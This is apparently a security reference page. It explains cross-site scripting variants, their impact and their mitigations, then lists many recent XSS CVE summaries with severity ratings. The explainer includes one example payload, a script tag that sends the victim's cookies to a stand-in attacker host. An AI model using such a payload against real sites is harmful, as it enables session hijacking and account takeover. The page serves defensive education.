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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40731)

EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in code-projects Crud Operation System 1.0.php. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Crud Operation System +1
NVD GitHub VulDB
EPSS 1% CVSS 7.6
HIGH This Week

Microsoft Dynamics 365 Sales Spoofing Vulnerability. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Microsoft Dynamics 365 Sales
NVD
EPSS 1% CVSS 9.6
CRITICAL Act Now

Improper neutralization of input during web page generation ('Cross-site Scripting') in Copilot Studio by an unauthorized attacker leads to elevation of privilege over a network. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Microsoft Copilot Studio
NVD
EPSS 1% CVSS 5.3
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in SourceCodester Best House Rental Management System 1.0.php?action=save_tenant. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Best House Rental Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the Article module of SPIP v4.3.3 allows authenticated attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Title. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Spip
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The Sugar Calendar - Simple Event Management plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate escaping on. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wordpress Plugin +2
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability was identified in PHPGURUKUL Vehicle Parking Management System v1.13 in /users/profile.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Vehicle Parking Management System +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

The Elementor Website Builder - More than Just a Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘url’ parameter of the Icon widget in all versions up to, and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Website Builder +2
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Under certain circumstances, navigating to a webpage would result in the address missing from the location URL bar, making it unclear what the URL was for the loaded webpage. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apple Mozilla +1
NVD
EPSS 0% CVSS 8.1
HIGH This Week

Malicious websites may have been able to perform user intent confirmation through tapjacking. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mozilla Firefox +1
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

VMware Aria Operations contains a stored cross-site scripting vulnerability. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS VMware Aria Operations +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

VMware Aria Operations contains a stored cross-site scripting vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS VMware Aria Operations +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

VMware Aria Operations contains a stored cross-site scripting vulnerability. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS VMware Aria Operations +1
NVD
EPSS 0% CVSS 5.2
MEDIUM This Month

A CWE-79 "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')" was discovered affecting the following devices manufactured by Advantech: EKI-6333AC-2G (<= 1.6.3),. Rated medium severity (CVSS 5.2), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS Command Injection Eki 6333Ac 1Gpo Firmware +3
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Jeg Elementor Kit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's JKit - Countdown widget in all versions up to, and including, 2.6.9 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Jeg Elementor Kit +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Parsi Date plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

The Booster for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's wcj_product_meta shortcode in all versions up to, and including, 7.2.3 due to. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Booster For Woocommerce +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Spotify Play Button for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's spotifyplaybutton shortcode in all versions up to, and including, 2.11 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The BNE Gallery Extended plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'gallery' shortcode in all versions up to, and including, 1.2.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Support SVG - Upload svg files in wordpress without hassle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via REST API SVG File uploads in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.2
HIGH This Week

The Booking calendar, Appointment Booking System plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 3.2.15 due to. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS File Upload
NVD
EPSS 1% CVSS 7.4
HIGH This Week

Cross-site scripting vulnerability exists in Sharp Corporation and Toshiba Tech Corporation multiple MFPs (multifunction printers). Rated high severity (CVSS 7.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Multiple plugins for WordPress are vulnerable to Reflected Cross-Site Scripting via the cminds_free_guide shortcode in various versions due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Everest Forms WordPress plugin before 3.0.4.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Everest Forms +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM This Month

Cross-site scripting vulnerability exists in WP Admin UI Customize versions prior to ver 1.5.14. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Additional Order Filters for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'shipping_method_filter' parameter in all versions up to, and including, 1.21. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in CodeAstro Hospital Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Hospital Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in CodeAstro Hospital Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Hospital Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in CodeAstro Hospital Management System 1.0 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Hospital Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability has been found in CodeAstro Hospital Management System 1.0 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Hospital Management System +1
NVD GitHub VulDB
EPSS 1% CVSS 8.1
HIGH PATCH This Week

@dapperduckling/keycloak-connector-server is an opinionated series of libraries for Node.js applications and frontend clients to interface with keycloak. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Node.js
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

An Open Redirect vulnerability in Taiga v6.8.1 allows attackers to redirect users to arbitrary websites via appending a crafted link to /login?next= in the login page URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Open Redirect
NVD
EPSS 0% CVSS 2.0
LOW PATCH Monitor

SvelteKit is a framework for rapidly developing robust, performant web applications using Svelte. Rated low severity (CVSS 2.0), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Svelte Sveltekit
NVD GitHub
EPSS 0% CVSS 2.0
LOW PATCH Monitor

SvelteKit is a framework for rapidly developing robust, performant web applications using Svelte. Rated low severity (CVSS 2.0), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Information Disclosure Svelte +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A cross-site scripting (XSS) vulnerability in the /scroll.php endpoint of LafeLabs Chaos v0.0.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS
NVD GitHub
EPSS 1% CVSS 5.3
MEDIUM POC PATCH This Month

BoidCMS is a free and open-source flat file CMS for building simple websites and blogs, developed using PHP and uses JSON as a database. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Boidcms
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability in the Management Console of BlackBerry AtHoc version 7.15 could allow an attacker to potentially execute actions in the context of the victim's. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Athoc Blackberry
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Deno is a runtime for JavaScript and TypeScript written in rust. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 1% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in code-projects Farmacia 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Farmacia +1
NVD GitHub VulDB
EPSS 0% CVSS 3.5
LOW POC Monitor

The WPForms WordPress plugin before 1.9.1.6 does not sanitise and escape some of its settings, which could allow high privilege users such as Admin to perform Stored Cross-Site Scripting attacks even. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wpforms
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Photo Gallery, Sliders, Proofing and WordPress plugin before 3.59.5 does not sanitise and escape some of its Images settings, which could allow high privilege users such as Admin to perform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Nextgen Gallery +1
NVD WPScan
EPSS 0% CVSS 3.5
LOW POC Monitor

The YaDisk Files WordPress plugin through 1.2.5 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Yadisk Files
NVD WPScan
EPSS 1% CVSS 6.8
MEDIUM POC This Month

The YaDisk Files WordPress plugin through 1.2.5 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could. Rated medium severity (CVSS 6.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Yadisk Files
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM This Month

WikiDocs before 1.0.65 allows stored XSS by authenticated users via data that comes after $$\\, which is mishandled by a KaTeX parser. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The 우커머스 네이버페이 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's mnp_purchase shortcode in all versions up to, and including, 3.3.7 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The 코드엠샵 소셜톡 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's add_plus_friends and add_plus_talk shortcodes in all versions up to, and including, 1.1.18 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The 워드프레스 결제 심플페이 - 우커머스 결제 플러그인 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's pafw_instant_payment shortcode in all versions up to, and including, 5.1.4 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Memberlite Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's memberlite_accordion shortcode in all versions up to, and including, 1.3.9 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

The Rescue Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's rescue_progressbar shortcode in all versions up to, and including, 2.9 due to insufficient. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Rescue Shortcodes +2
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The Wishlist for WooCommerce: Multi Wishlists Per Customer PRO plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'wtab' parameter in versions 3.0.8 to 3.1.2 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +3
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

The Checkout with Cash App on WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the '_wp_http_referer' parameter in several files in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Chessgame Shizzle plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'cs_nonce' parameter in all versions up to, and including, 1.3.0 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Custom CSS, JS & PHP plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate escaping on the URL in all. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Formidable Forms - Contact Form Plugin, Survey, Quiz, Payment, Calculator Form & Custom Form Builder plugin for WordPress is vulnerable to POST-Based Reflected Cross-Site Scripting via the Custom. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Formidable Forms +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The AutoListicle: Automatically Update Numbered List Articles plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'auto-list-number' shortcode in all versions up to,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Slotti Ajanvaraus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'slotti' shortcode in all versions up to, and including, 1.3.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.4
MEDIUM This Month

The Easy Liveblogs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'elb_liveblog' shortcode in all versions up to, and including, 2.3.5 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The PDF Invoices & Packing Slips Generator for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The HIPAA Compliant Forms with Drag’n’Drop HIPAA Form Builder. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The JobBoardWP - Job Board Listings and Submissions plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wordpress Plugin +2
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The DeBounce Email Validator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'from', 'to', and 'key' parameters in all versions up to, and including, 5.6.5 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Payments Plugin and Checkout Plugin for WooCommerce: Stripe, PayPal, Square, Authorize.net plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Tribute Testimonials - WordPress Testimonial Grid/Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tribute_testimonials_slider' shortcode in all versions. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Quotes llama plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'quotes-llama' shortcode in all versions up to, and including, 3.0.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The WordPress Brute Force Protection - Stop Brute Force Attacks plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Twitter Follow Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'username' parameter in all versions up to, and including, 0.2 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wordpress Plugin +1
NVD
EPSS 1% CVSS 6.2
MEDIUM This Month

An issue was discovered in Centreon Web 24.10.x before 24.10.0, 24.04.x before 24.04.8, 23.10.x before 23.10.18, 23.04.x before 23.04.23, and 22.10.x before 22.10.26. Rated medium severity (CVSS 6.2), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A reflected cross-site scripting (XSS) vulnerability in Gladinet CentreStack v13.12.9934.54690 allows attackers to inject malicious JavaScript into the web browser of a victim via the sessionId. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 1% CVSS 5.1
MEDIUM This Month

The Deno Standard Library provides APIs for Deno and the Web. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Microsoft
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross Site Scripting vulnerability in Public Knowledge Project PKP Platform OJS/OMP/OPS- before v.3.3.0.16 allows an attacker to execute arbitrary code and escalate privileges via a crafted script. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS RCE
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A cross-site scripting (XSS) vulnerability has been reported to affect Photo Station. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Qnap Photo Station
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A cross-site scripting (XSS) vulnerability has been reported to affect Photo Station. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Qnap Photo Station
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A cross-site scripting (XSS) vulnerability has been reported to affect Photo Station. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Qnap Photo Station
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A cross-site scripting (XSS) vulnerability has been reported to affect Photo Station. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Qnap Photo Station
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The MailMunch - Grow your Email List plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Mailmunch
NVD
EPSS 1% CVSS 6.4
MEDIUM This Month

The Control horas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ch_registro' shortcode in all versions up to, and including, 1.0.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Premium Packages - Sell Digital Products Securely plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.5
MEDIUM This Month

The Gallery Blocks with Lightbox. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 8.7
HIGH This Week

Stored Cross-Site Scripting in the Manager component of Wowza Streaming Engine below 4.9.1 allows an unauthenticated attacker to inject client-side JavaScript into the web dashboard to automatically. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Streaming Engine Wowza
NVD
EPSS 1% CVSS 3.5
LOW POC Monitor

Cross Site Scripting vulnerability in Gibbon before v.27.0.01 and fixed in v.28.0.00 allows a remote attacker to obtain sensitive information via the email parameter found in /Gibbon/modules/User. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Gibbon +1
NVD GitHub
EPSS 2% CVSS 9.8
CRITICAL POC PATCH Act Now

LLama Factory enables fine-tuning of large language models. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Command Injection Llama Factory +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

An issue was discovered in Zimbra Collaboration (ZCS) through 10.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Zimbra Collaboration Suite Synacor
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

An issue was discovered in Zimbra Collaboration (ZCS) through 10.1. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Zimbra Collaboration Suite Synacor
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

In Zimbra Collaboration (ZCS) 9.0 and 10.0, a vulnerability in the Webmail Modern UI allows execution of stored Cross-Site Scripting (XSS) payloads. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Zimbra Collaboration Suite Synacor
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

An issue was discovered in Zimbra Collaboration (ZCS) through v10.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Zimbra Collaboration Suite Synacor
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

An issue was discovered in webmail in Zimbra Collaboration (ZCS) through 10.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

